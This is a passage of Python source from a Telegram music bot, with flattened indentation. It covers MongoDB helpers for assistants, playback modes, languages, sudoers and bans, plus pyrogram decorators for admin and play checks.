# Top User DB
async def get_userss(chat_id: int) -> Dict[str, int]:
ids = await userdb.find_one({"chat_id": chat_id})
if not ids:
return {}
return ids["vidid"]
async def get_user_top(chat_id: int, name: str) -> Union[bool, dict]:
ids = await get_userss(chat_id)
if name in ids:
return ids[name]
async def update_user_top(chat_id: int, name: str, vidid: dict):
ids = await get_userss(chat_id)
ids[name] = vidid
await userdb.update_one({"chat_id": chat_id}, {"$set": {"vidid": ids}}, upsert=True)
async def get_topp_users() -> dict:
results = {}
async for chat in userdb.find({"chat_id": {"$gt": 0}}):
user_id = chat["chat_id"]
total = 0
for i in chat["vidid"]:
counts_ = chat["vidid"][i]["spot"]
if counts_ > 0:
total += counts_
results[user_id] = total
return results
async def get_assistant_number(chat_id: int) -> str:
assistant = assistantdict.get(chat_id)
return assistant
async def get_client(assistant: int):
if int(assistant) == 1:
return userbot.one
elif int(assistant) == 2:
return userbot.two
elif int(assistant) == 3:
return userbot.three
elif int(assistant) == 4:
return userbot.four
elif int(assistant) == 5:
return userbot.five
async def set_assistant_new(chat_id, number):
number = int(number)
await assdb.update_one(
{"chat_id": chat_id},
{"$set": {"assistant": number}},
upsert=True,
)
async def set_assistant(chat_id):
from BrandrdXMusic.core.userbot import assistants
ran_assistant = random.choice(assistants)
assistantdict[chat_id] = ran_assistant
await assdb.update_one(
{"chat_id": chat_id},
{"$set": {"assistant": ran_assistant}},
upsert=True,
)
userbot = await get_client(ran_assistant)
return userbot
async def get_assistant(chat_id: int) -> str:
from BrandrdXMusic.core.userbot import assistants
assistant = assistantdict.get(chat_id)
if not assistant:
dbassistant = await assdb.find_one({"chat_id": chat_id})
if not dbassistant:
userbot = await set_assistant(chat_id)
return userbot
else:
got_assis = dbassistant["assistant"]
if got_assis in assistants:
assistantdict[chat_id] = got_assis
userbot = await get_client(got_assis)
return userbot
else:
userbot = await set_assistant(chat_id)
return userbot
else:
if assistant in assistants:
userbot = await get_client(assistant)
return userbot
else:
userbot = await set_assistant(chat_id)
return userbot
async def set_calls_assistant(chat_id):
from BrandrdXMusic.core.userbot import assistants
ran_assistant = random.choice(assistants)
assistantdict[chat_id] = ran_assistant
await assdb.update_one(
{"chat_id": chat_id},
{"$set": {"assistant": ran_assistant}},
upsert=True,
)
return ran_assistant
async def group_assistant(self, chat_id: int) -> int:
from BrandrdXMusic.core.userbot import assistants
assistant = assistantdict.get(chat_id)
if not assistant:
dbassistant = await assdb.find_one({"chat_id": chat_id})
if not dbassistant:
assis = await set_calls_assistant(chat_id)
else:
assis = dbassistant["assistant"]
if assis in assistants:
assistantdict[chat_id] = assis
assis = assis
else:
assis = await set_calls_assistant(chat_id)
else:
if assistant in assistants:
assis = assistant
else:
assis = await set_calls_assistant(chat_id)
if int(assis) == 1:
return self.one
elif int(assis) == 2:
return self.two
elif int(assis) == 3:
return self.three
elif int(assis) == 4:
return self.four
elif int(assis) == 5:
return self.five
async def is_skipmode(chat_id: int) -> bool:
mode = skipmode.get(chat_id)
if not mode:
user = await skipdb.find_one({"chat_id": chat_id})
if not user:
skipmode[chat_id] = True
return True
skipmode[chat_id] = False
return False
return mode
async def skip_on(chat_id: int):
skipmode[chat_id] = True
user = await skipdb.find_one({"chat_id": chat_id})
if user:
return await skipdb.delete_one({"chat_id": chat_id})
async def skip_off(chat_id: int):
skipmode[chat_id] = False
user = await skipdb.find_one({"chat_id": chat_id})
if not user:
return await skipdb.insert_one({"chat_id": chat_id})
async def get_upvote_count(chat_id: int) -> int:
mode = count.get(chat_id)
if not mode:
mode = await countdb.find_one({"chat_id": chat_id})
if not mode:
return 5
count[chat_id] = mode["mode"]
return mode["mode"]
return mode
async def set_upvotes(chat_id: int, mode: int):
count[chat_id] = mode
await countdb.update_one(
{"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
)
async def is_autoend() -> bool:
chat_id = 1234
user = await autoenddb.find_one({"chat_id": chat_id})
if not user:
return False
return True
async def autoend_on():
chat_id = 1234
await autoenddb.insert_one({"chat_id": chat_id})
async def autoend_off():
chat_id = 1234
await autoenddb.delete_one({"chat_id": chat_id})
async def get_loop(chat_id: int) -> int:
lop = loop.get(chat_id)
if not lop:
return 0
return lop
async def set_loop(chat_id: int, mode: int):
loop[chat_id] = mode
async def get_cmode(chat_id: int) -> int:
mode = channelconnect.get(chat_id)
if not mode:
mode = await channeldb.find_one({"chat_id": chat_id})
if not mode:
return None
channelconnect[chat_id] = mode["mode"]
return mode["mode"]
return mode
async def set_cmode(chat_id: int, mode: int):
channelconnect[chat_id] = mode
await channeldb.update_one(
{"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
)
async def get_playtype(chat_id: int) -> str:
mode = playtype.get(chat_id)
if not mode:
mode = await playtypedb.find_one({"chat_id": chat_id})
if not mode:
playtype[chat_id] = "Everyone"
return "Everyone"
playtype[chat_id] = mode["mode"]
return mode["mode"]
return mode
async def set_playtype(chat_id: int, mode: str):
playtype[chat_id] = mode
await playtypedb.update_one(
{"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
)
async def get_playmode(chat_id: int) -> str:
mode = playmode.get(chat_id)
if not mode:
mode = await playmodedb.find_one({"chat_id": chat_id})
if not mode:
playmode[chat_id] = "Direct"
return "Direct"
playmode[chat_id] = mode["mode"]
return mode["mode"]
return mode
async def set_playmode(chat_id: int, mode: str):
playmode[chat_id] = mode
await playmodedb.update_one(
{"chat_id": chat_id}, {"$set": {"mode": mode}}, upsert=True
)
async def get_lang(chat_id: int) -> str:
mode = langm.get(chat_id)
if not mode:
lang = await langdb.find_one({"chat_id": chat_id})
if not lang:
langm[chat_id] = "en"
return "en"
langm[chat_id] = lang["lang"]
return lang["lang"]
return mode
async def set_lang(chat_id: int, lang: str):
langm[chat_id] = lang
await langdb.update_one({"chat_id": chat_id}, {"$set": {"lang": lang}}, upsert=True)
async def is_music_playing(chat_id: int) -> bool:
mode = pause.get(chat_id)
if not mode:
return False
return mode
async def music_on(chat_id: int):
pause[chat_id] = True
async def music_off(chat_id: int):
pause[chat_id] = False
# Muted
async def is_muted(chat_id: int) -> bool:
mode = mute.get(chat_id)
if not mode:
return False
return mode
async def mute_on(chat_id: int):
mute[chat_id] = True
async def mute_off(chat_id: int):
mute[chat_id] = False
async def get_active_chats() -> list:
return active
async def is_active_chat(chat_id: int) -> bool:
if chat_id not in active:
return False
else:
return True
async def add_active_chat(chat_id: int):
if chat_id not in active:
active.append(chat_id)
async def remove_active_chat(chat_id: int):
if chat_id in active:
active.remove(chat_id)
async def get_active_video_chats() -> list:
return activevideo
async def is_active_video_chat(chat_id: int) -> bool:
if chat_id not in activevideo:
return False
else:
return True
async def add_active_video_chat(chat_id: int):
if chat_id not in activevideo:
activevideo.append(chat_id)
async def remove_active_video_chat(chat_id: int):
if chat_id in activevideo:
activevideo.remove(chat_id)
async def check_nonadmin_chat(chat_id: int) -> bool:
user = await authdb.find_one({"chat_id": chat_id})
if not user:
return False
return True
async def is_nonadmin_chat(chat_id: int) -> bool:
mode = nonadmin.get(chat_id)
if not mode:
user = await authdb.find_one({"chat_id": chat_id})
if not user:
nonadmin[chat_id] = False
return False
nonadmin[chat_id] = True
return True
return mode
async def add_nonadmin_chat(chat_id: int):
nonadmin[chat_id] = True
is_admin = await check_nonadmin_chat(chat_id)
if is_admin:
return
return await authdb.insert_one({"chat_id": chat_id})
async def remove_nonadmin_chat(chat_id: int):
nonadmin[chat_id] = False
is_admin = await check_nonadmin_chat(chat_id)
if not is_admin:
return
return await authdb.delete_one({"chat_id": chat_id})
async def is_on_off(on_off: int) -> bool:
onoff = await onoffdb.find_one({"on_off": on_off})
if not onoff:
return False
return True
async def add_on(on_off: int):
is_on = await is_on_off(on_off)
if is_on:
return
return await onoffdb.insert_one({"on_off": on_off})
async def add_off(on_off: int):
is_off = await is_on_off(on_off)
if not is_off:
return
return await onoffdb.delete_one({"on_off": on_off})
async def is_maintenance():
if not maintenance:
get = await onoffdb.find_one({"on_off": 1})
if not get:
maintenance.clear()
maintenance.append(2)
return True
else:
maintenance.clear()
maintenance.append(1)
return False
else:
if 1 in maintenance:
return False
else:
return True
async def maintenance_off():
maintenance.clear()
maintenance.append(2)
is_off = await is_on_off(1)
if not is_off:
return
return await onoffdb.delete_one({"on_off": 1})
async def maintenance_on():
maintenance.clear()
maintenance.append(1)
is_on = await is_on_off(1)
if is_on:
return
return await onoffdb.insert_one({"on_off": 1})
async def is_served_user(user_id: int) -> bool:
user = await usersdb.find_one({"user_id": user_id})
if not user:
return False
return True
async def get_served_users() -> list:
users_list = []
async for user in usersdb.find({"user_id": {"$gt": 0}}):
users_list.append(user)
return users_list
async def add_served_user(user_id: int):
is_served = await is_served_user(user_id)
if is_served:
return
return await usersdb.insert_one({"user_id": user_id})
async def get_served_chats() -> list:
chats_list = []
async for chat in chatsdb.find({"chat_id": {"$lt": 0}}):
chats_list.append(chat)
return chats_list
async def is_served_chat(chat_id: int) -> bool:
chat = await chatsdb.find_one({"chat_id": chat_id})
if not chat:
return False
return True
async def add_served_chat(chat_id: int):
is_served = await is_served_chat(chat_id)
if is_served:
return
return await chatsdb.insert_one({"chat_id": chat_id})
async def delete_served_chat(chat_id: int):
await chatsdb.delete_one({"chat_id": chat_id})
async def blacklisted_chats() -> list:
chats_list = []
async for chat in blacklist_chatdb.find({"chat_id": {"$lt": 0}}):
chats_list.append(chat["chat_id"])
return chats_list
async def blacklist_chat(chat_id: int) -> bool:
if not await blacklist_chatdb.find_one({"chat_id": chat_id}):
await blacklist_chatdb.insert_one({"chat_id": chat_id})
return True
return False
async def whitelist_chat(chat_id: int) -> bool:
if await blacklist_chatdb.find_one({"chat_id": chat_id}):
await blacklist_chatdb.delete_one({"chat_id": chat_id})
return True
return False
async def _get_authusers(chat_id: int) -> Dict[str, int]:
_notes = await authuserdb.find_one({"chat_id": chat_id})
if not _notes:
return {}
return _notes["notes"]
async def get_authuser_names(chat_id: int) -> List[str]:
_notes = []
for note in await _get_authusers(chat_id):
_notes.append(note)
return _notes
async def get_authuser(chat_id: int, name: str) -> Union[bool, dict]:
name = name
_notes = await _get_authusers(chat_id)
if name in _notes:
return _notes[name]
else:
return False
async def save_authuser(chat_id: int, name: str, note: dict):
name = name
_notes = await _get_authusers(chat_id)
_notes[name] = note
await authuserdb.update_one(
{"chat_id": chat_id}, {"$set": {"notes": _notes}}, upsert=True
)
async def delete_authuser(chat_id: int, name: str) -> bool:
notesd = await _get_authusers(chat_id)
name = name
if name in notesd:
del notesd[name]
await authuserdb.update_one(
{"chat_id": chat_id},
{"$set": {"notes": notesd}},
upsert=True,
)
return True
return False
async def get_gbanned() -> list:
results = []
async for user in gbansdb.find({"user_id": {"$gt": 0}}):
user_id = user["user_id"]
results.append(user_id)
return results
async def is_gbanned_user(user_id: int) -> bool:
user = await gbansdb.find_one({"user_id": user_id})
if not user:
return False
return True
async def add_gban_user(user_id: int):
is_gbanned = await is_gbanned_user(user_id)
if is_gbanned:
return
return await gbansdb.insert_one({"user_id": user_id})
async def remove_gban_user(user_id: int):
is_gbanned = await is_gbanned_user(user_id)
if not is_gbanned:
return
return await gbansdb.delete_one({"user_id": user_id})
async def get_sudoers() -> list:
sudoers = await sudoersdb.find_one({"sudo": "sudo"})
if not sudoers:
return []
return sudoers["sudoers"]
async def add_sudo(user_id: int) -> bool:
sudoers = await get_sudoers()
sudoers.append(user_id)
await sudoersdb.update_one(
{"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True
)
return True
async def remove_sudo(user_id: int) -> bool:
sudoers = await get_sudoers()
sudoers.remove(user_id)
await sudoersdb.update_one(
{"sudo": "sudo"}, {"$set": {"sudoers": sudoers}}, upsert=True
)
return True
async def get_banned_users() -> list:
results = []
async for user in blockeddb.find({"user_id": {"$gt": 0}}):
user_id = user["user_id"]
results.append(user_id)
return results
async def get_banned_count() -> int:
users = blockeddb.find({"user_id": {"$gt": 0}})
users = await users.to_list(length=100000)
return len(users)
async def is_banned_user(user_id: int) -> bool:
user = await blockeddb.find_one({"user_id": user_id})
if not user:
return False
return True
async def add_banned_user(user_id: int):
is_gbanned = await is_banned_user(user_id)
if is_gbanned:
return
return await blockeddb.insert_one({"user_id": user_id})
async def remove_banned_user(user_id: int):
is_gbanned = await is_banned_user(user_id)
if not is_gbanned:
return
return await blockeddb.delete_one({"user_id": user_id})
# Private Served Chats
async def get_private_served_chats() -> list:
chats_list = []
async for chat in privatedb.find({"chat_id": {"$lt": 0}}):
chats_list.append(chat)
return chats_list
async def is_served_private_chat(chat_id: int) -> bool:
chat = await privatedb.find_one({"chat_id": chat_id})
if not chat:
return False
return True
async def add_private_chat(chat_id: int):
is_served = await is_served_private_chat(chat_id)
if is_served:
return
return await privatedb.insert_one({"chat_id": chat_id})
async def remove_private_chat(chat_id: int):
is_served = await is_served_private_chat(chat_id)
if not is_served:
return
return await privatedb.delete_one({"chat_id": chat_id})
# SUGGESTION
async def is_suggestion(chat_id: int) -> bool:
mode = suggestion.get(chat_id)
if not mode:
user = await suggdb.find_one({"chat_id": chat_id})
if not user:
suggestion[chat_id] = True
return True
suggestion[chat_id] = False
return False
return mode
async def suggestion_on(chat_id: int):
suggestion[chat_id] = True
user = await suggdb.find_one({"chat_id": chat_id})
if user:
return await suggdb.delete_one({"chat_id": chat_id})
async def suggestion_off(chat_id: int):
suggestion[chat_id] = False
user = await suggdb.find_one({"chat_id": chat_id})
if not user:
return await suggdb.insert_one({"chat_id": chat_id})
# Clean Mode
async def is_cleanmode_on(chat_id: int) -> bool:
if chat_id not in cleanmode:
return True
else:
return False
async def cleanmode_off(chat_id: int):
if chat_id not in cleanmode:
cleanmode.append(chat_id)
async def cleanmode_on(chat_id: int):
try:
cleanmode.remove(chat_id)
except:
pass
# Audio Video Limit
"""
from pytgcalls.types import AudioQuality, VideoQuality
async def save_audio_bitrate(chat_id: int, bitrate: str):
audio[chat_id] = bitrate
async def save_video_bitrate(chat_id: int, bitrate: str):
video[chat_id] = bitrate
async def get_aud_bit_name(chat_id: int) -> str:
mode = audio.get(chat_id)
if not mode:
return "HIGH"
return mode
async def get_vid_bit_name(chat_id: int) -> str:
mode = video.get(chat_id)
if not mode:
if PRIVATE_BOT_MODE == str(True):
return "HD_720p"
else:
return "HD_720p"
return mode
async def get_audio_bitrate(chat_id: int) -> str:
mode = audio.get(chat_id)
if not mode:
return AudioQuality.STUDIO
if str(mode) == "STUDIO":
return AudioQuality.STUDIO
elif str(mode) == "HIGH":
return AudioQuality.HIGH
elif str(mode) == "MEDIUM":
return AudioQuality.MEDIUM
elif str(mode) == "LOW":
return AudioQuality.LOW
async def get_video_bitrate(chat_id: int) -> str:
mode = video.get(chat_id)
if not mode:
if PRIVATE_BOT_MODE == str(True):
return VideoQuality.FHD_1080p
else:
return VideoQuality.HD_720p
if str(mode) == "UHD_4K":
return VideoQuality.UHD_4K
elif str(mode) == "QHD_2K":
return VideoQuality.QHD_2K
elif str(mode) == "FHD_1080p":
return VideoQuality.FHD_1080p
elif str(mode) == "HD_720p":
return VideoQuality.HD_720p
elif str(mode) == "SD_480p":
return VideoQuality.SD_480p
elif str(mode) == "SD_360p":
return VideoQuality.SD_360p"""
async def is_served_user_clone(user_id: int) -> bool:
user = await usersdbc.find_one({"user_id": user_id})
if not user:
return False
return True
async def get_served_users_clone() -> list:
users_list = []
async for user in usersdbc.find({"user_id": {"$gt": 0}}):
users_list.append(user)
return users_list
async def add_served_user_clone(user_id: int):
is_served = await is_served_user(user_id)
if is_served:
return
return await usersdbc.insert_one({"user_id": user_id})
async def get_served_chats_clone() -> list:
chats_list = []
async for chat in chatsdbc.find({"chat_id": {"$lt": 0}}):
chats_list.append(chat)
return chats_list
async def is_served_chat_clone(chat_id: int) -> bool:
chat = await chatsdbc.find_one({"chat_id": chat_id})
if not chat:
return False
return True
async def add_served_chat_clone(chat_id: int):
is_served = await is_served_chat(chat_id)
if is_served:
return
return await chatsdbc.insert_one({"chat_id": chat_id})
async def delete_served_chat_clone(chat_id: int):
await chatsdbc.delete_one({"chat_id": chat_id})
================================================
FILE: BrandrdXMusic/utils/decorators/__init__.py
================================================
from .admins import *
from .language import *
================================================
FILE: BrandrdXMusic/utils/decorators/admins.py
================================================
from pyrogram.enums import ChatType
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from BrandrdXMusic import app
from BrandrdXMusic.misc import SUDOERS, db
from BrandrdXMusic.utils.database import (
get_authuser_names,
get_cmode,
get_lang,
get_upvote_count,
is_active_chat,
is_maintenance,
is_nonadmin_chat,
is_skipmode,
)
from config import SUPPORT_CHAT, adminlist, confirmer
from strings import get_string
from ..formatters import int_to_alpha
def AdminRightsCheck(mystic):
async def wrapper(client, message):
if await is_maintenance() is False:
if message.from_user.id not in SUDOERS:
return await message.reply_text(
text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
disable_web_page_preview=True,
)
try:
await message.delete()
except:
pass
try:
language = await get_lang(message.chat.id)
_ = get_string(language)
except:
_ = get_string("en")
if message.sender_chat:
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ʜᴏᴡ ᴛᴏ ғɪx ?",
callback_data="AnonymousAdmin",
),
]
]
)
return await message.reply_text(_["general_3"], reply_markup=upl)
if message.command[0][0] == "c":
chat_id = await get_cmode(message.chat.id)
if chat_id is None:
return await message.reply_text(_["setting_7"])
try:
await app.get_chat(chat_id)
except:
return await message.reply_text(_["cplay_4"])
else:
chat_id = message.chat.id
if not await is_active_chat(chat_id):
return await message.reply_text(_["general_5"])
is_non_admin = await is_nonadmin_chat(message.chat.id)
if not is_non_admin:
if message.from_user.id not in SUDOERS:
admins = adminlist.get(message.chat.id)
if not admins:
return await message.reply_text(_["admin_13"])
else:
if message.from_user.id not in admins:
if await is_skipmode(message.chat.id):
upvote = await get_upvote_count(chat_id)
text = f"""ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɴᴇᴇᴅᴇᴅ
ʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload
» {upvote} ᴠᴏᴛᴇs ɴᴇᴇᴅᴇᴅ ғᴏʀ ᴘᴇʀғᴏʀᴍɪɴɢ ᴛʜɪs ᴀᴄᴛɪᴏɴ."""
command = message.command[0]
if command[0] == "c":
command = command[1:]
if command == "speed":
return await message.reply_text(_["admin_14"])
MODE = command.title()
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ᴠᴏᴛᴇ",
callback_data=f"ADMIN UpVote|{chat_id}_{MODE}",
),
]
]
)
if chat_id not in confirmer:
confirmer[chat_id] = {}
try:
vidid = db[chat_id][0]["vidid"]
file = db[chat_id][0]["file"]
except:
return await message.reply_text(_["admin_14"])
senn = await message.reply_text(text, reply_markup=upl)
confirmer[chat_id][senn.id] = {
"vidid": vidid,
"file": file,
}
return
else:
return await message.reply_text(_["admin_14"])
return await mystic(client, message, _, chat_id)
return wrapper
def AdminActual(mystic):
async def wrapper(client, message):
if await is_maintenance() is False:
if message.from_user.id not in SUDOERS:
return await message.reply_text(
text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
disable_web_page_preview=True,
)
try:
await message.delete()
except:
pass
try:
language = await get_lang(message.chat.id)
_ = get_string(language)
except:
_ = get_string("en")
if message.sender_chat:
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ʜᴏᴡ ᴛᴏ ғɪx ?",
callback_data="AnonymousAdmin",
),
]
]
)
return await message.reply_text(_["general_3"], reply_markup=upl)
if message.from_user.id not in SUDOERS:
try:
member = (
await app.get_chat_member(message.chat.id, message.from_user.id)
).privileges
except:
return
if not member.can_manage_video_chats:
return await message.reply(_["general_4"])
return await mystic(client, message, _)
return wrapper
def ActualAdminCB(mystic):
async def wrapper(client, CallbackQuery):
if await is_maintenance() is False:
if CallbackQuery.from_user.id not in SUDOERS:
return await CallbackQuery.answer(
f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
show_alert=True,
)
try:
language = await get_lang(CallbackQuery.message.chat.id)
_ = get_string(language)
except:
_ = get_string("en")
if CallbackQuery.message.chat.type == ChatType.PRIVATE:
return await mystic(client, CallbackQuery, _)
is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)
if not is_non_admin:
try:
a = (
await app.get_chat_member(
CallbackQuery.message.chat.id,
CallbackQuery.from_user.id,
)
).privileges
except:
return await CallbackQuery.answer(_["general_4"], show_alert=True)
if not a.can_manage_video_chats:
if CallbackQuery.from_user.id not in SUDOERS:
token = await int_to_alpha(CallbackQuery.from_user.id)
_check = await get_authuser_names(CallbackQuery.from_user.id)
if token not in _check:
try:
return await CallbackQuery.answer(
_["general_4"],
show_alert=True,
)
except:
return
return await mystic(client, CallbackQuery, _)
return wrapper
================================================
FILE: BrandrdXMusic/utils/decorators/language.py
================================================
from strings import get_string
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import (get_lang, is_maintenance)
def language(mystic):
async def wrapper(_, message, **kwargs):
if await is_maintenance() is False:
if message.from_user.id not in SUDOERS:
return await message.reply_text(
text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
disable_web_page_preview=True,
)
try:
await message.delete()
except:
pass
try:
language = await get_lang(message.chat.id)
language = get_string(language)
except:
language = get_string("en")
return await mystic(_, message, language)
return wrapper
def languageCB(mystic):
async def wrapper(_, CallbackQuery, **kwargs):
if await is_maintenance() is False:
if CallbackQuery.from_user.id not in SUDOERS:
return await CallbackQuery.answer(
f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
show_alert=True,
)
try:
language = await get_lang(CallbackQuery.message.chat.id)
language = get_string(language)
except:
language = get_string("en")
return await mystic(_, CallbackQuery, language)
return wrapper
def LanguageStart(mystic):
async def wrapper(_, message, **kwargs):
try:
language = await get_lang(message.chat.id)
language = get_string(language)
except:
language = get_string("en")
return await mystic(_, message, language)
return wrapper
================================================
FILE: BrandrdXMusic/utils/decorators/play.py
================================================
import asyncio
from pyrogram.enums import ChatMemberStatus
from pyrogram.errors import (
ChatAdminRequired,
InviteRequestSent,
UserAlreadyParticipant,
UserNotParticipant,
)
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from BrandrdXMusic import YouTube, app
from BrandrdXMusic.misc import SUDOERS
from BrandrdXMusic.utils.database import (
get_assistant,
get_cmode,
get_lang,
get_playmode,
get_playtype,
is_active_chat,
is_maintenance,
)
from BrandrdXMusic.utils.inline import botplaylist_markup
from config import PLAYLIST_IMG_URL, SUPPORT_CHAT, adminlist
from strings import get_string
links = {}
clinks = {}
def PlayWrapper(command):
async def wrapper(client, message):
language = await get_lang(message.chat.id)
_ = get_string(language)
if message.sender_chat:
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ʜᴏᴡ ᴛᴏ ғɪx ?",
callback_data="AnonymousAdmin",
),
]
]
)
return await message.reply_text(_["general_3"], reply_markup=upl)
if await is_maintenance() is False:
if message.from_user.id not in SUDOERS:
return await message.reply_text(
text=f"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
disable_web_page_preview=True,
)
try:
await message.delete()
except:
pass
audio_telegram = (
(message.reply_to_message.audio or message.reply_to_message.voice)
if message.reply_to_message
else None
)
video_telegram = (
(message.reply_to_message.video or message.reply_to_message.document)
if message.reply_to_message
else None
)
url = await YouTube.url(message)
if audio_telegram is None and video_telegram is None and url is None:
if len(message.command) < 2:
if "stream" in message.command:
return await message.reply_text(_["str_1"])
buttons = botplaylist_markup(_)
return await message.reply_photo(
photo=PLAYLIST_IMG_URL,
caption=_["playlist_1"],
reply_markup=InlineKeyboardMarkup(buttons),
)
if message.command[0][0] == "c":
chat_id = await get_cmode(message.chat.id)
if chat_id is None:
return await message.reply_text(_["setting_12"])
try:
chat = await app.get_chat(chat_id)
except:
return await message.reply_text(_["cplay_4"])
channel = chat.title
else:
chat_id = message.chat.id
channel = None
playmode = await get_playmode(message.chat.id)
playty = await get_playtype(message.chat.id)
if playty != "Everyone":
if message.from_user.id not in SUDOERS:
admins = adminlist.get(message.chat.id)
if not admins:
return await message.reply_text(_["admin_18"])
else:
if message.from_user.id not in admins:
return await message.reply_text(_["play_4"])
if message.command[0][0] == "v":
video = True
else:
if "-v" in message.text:
video = True
else:
video = True if message.command[0][1] == "v" else None
if message.command[0][-1] == "e":
if not await is_active_chat(chat_id):
return await message.reply_text(_["play_18"])
fplay = True
else:
fplay = None
if not await is_active_chat(chat_id):
userbot = await get_assistant(chat_id)
try:
try:
get = await app.get_chat_member(chat_id, userbot.id)
except ChatAdminRequired:
return await message.reply_text(_["call_1"])
if (
get.status == ChatMemberStatus.BANNED
or get.status == ChatMemberStatus.RESTRICTED
):
return await message.reply_text(
_["call_2"].format(
app.mention, userbot.id, userbot.name, userbot.username
)
)
except UserNotParticipant:
if chat_id in links:
invitelink = links[chat_id]
else:
if message.chat.username:
invitelink = message.chat.username
try:
await userbot.resolve_peer(invitelink)
except:
pass
else:
try:
invitelink = await app.export_chat_invite_link(chat_id)
except ChatAdminRequired:
return await message.reply_text(_["call_1"])
except Exception as e:
return await message.reply_text(
_["call_3"].format(app.mention, type(e).__name__)
)
if invitelink.startswith("https://t.me/+"):
invitelink = invitelink.replace(
"https://t.me/+", "https://t.me/joinchat/"
)
myu = await message.reply_text(_["call_4"].format(app.mention))
try:
await asyncio.sleep(1)
await userbot.join_chat(invitelink)
except InviteRequestSent:
try:
await app.approve_chat_join_request(chat_id, userbot.id)
except Exception as e:
return await message.reply_text(
_["call_3"].format(app.mention, type(e).__name__)
)
await asyncio.sleep(3)
await myu.edit(_["call_5"].format(app.mention))
except UserAlreadyParticipant:
pass
except Exception as e:
return await message.reply_text(
_["call_3"].format(app.mention, type(e).__name__)
)
links[chat_id] = invitelink
try:
await userbot.resolve_peer(chat_id)
except:
pass
return await command(
client,
message,
_,
chat_id,
video,
channel,
playmode,
url,
fplay,
)
return wrapper
def CPlayWrapper(command):
async def wrapper(client, message):
i = await client.get_me()
language = await get_lang(message.chat.id)
_ = get_string(language)
if message.sender_chat:
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ʜᴏᴡ ᴛᴏ ғɪx ?",
callback_data="AnonymousAdmin",
),
]
]
)
return await message.reply_text(_["general_3"], reply_markup=upl)
if await is_maintenance() is False:
if message.from_user.id not in SUDOERS:
return await message.reply_text(
text=f"{i.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.",
disable_web_page_preview=True,
)
try:
await message.delete()
except:
pass
audio_telegram = (
(message.reply_to_message.audio or message.reply_to_message.voice)
if message.reply_to_message
else None
)
video_telegram = (
(message.reply_to_message.video or message.reply_to_message.document)
if message.reply_to_message
else None
)
url = await YouTube.url(message)
if audio_telegram is None and video_telegram is None and url is None:
if len(message.command) < 2:
if "stream" in message.command:
return await message.reply_text(_["str_1"])
buttons = botplaylist_markup(_)
return await message.reply_photo(
photo=PLAYLIST_IMG_URL,
caption=_["play_18"],
reply_markup=InlineKeyboardMarkup(buttons),
)
if message.command[0][0] == "c":
chat_id = await get_cmode(message.chat.id)
if chat_id is None:
return await message.reply_text(_["setting_7"])
try:
chat = await client.get_chat(chat_id)
except:
return await message.reply_text(_["cplay_4"])
channel = chat.title
else:
chat_id = message.chat.id
channel = None
playmode = await get_playmode(message.chat.id)
playty = await get_playtype(message.chat.id)
if playty != "Everyone":
if message.from_user.id not in SUDOERS:
admins = adminlist.get(message.chat.id)
if not admins:
return await message.reply_text(_["admin_13"])
else:
if message.from_user.id not in admins:
return await message.reply_text(_["play_4"])
if message.command[0][0] == "v":
video = True
else:
if "-v" in message.text:
video = True
else:
video = True if message.command[0][1] == "v" else None
if message.command[0][-1] == "e":
if not await is_active_chat(chat_id):
return await message.reply_text(_["play_16"])
fplay = True
else:
fplay = None
if not await is_active_chat(chat_id):
userbot = await get_assistant(chat_id)
try:
try:
get = await client.get_chat_member(chat_id, userbot.username)
except ChatAdminRequired:
await message.reply_text(_["call_1"])
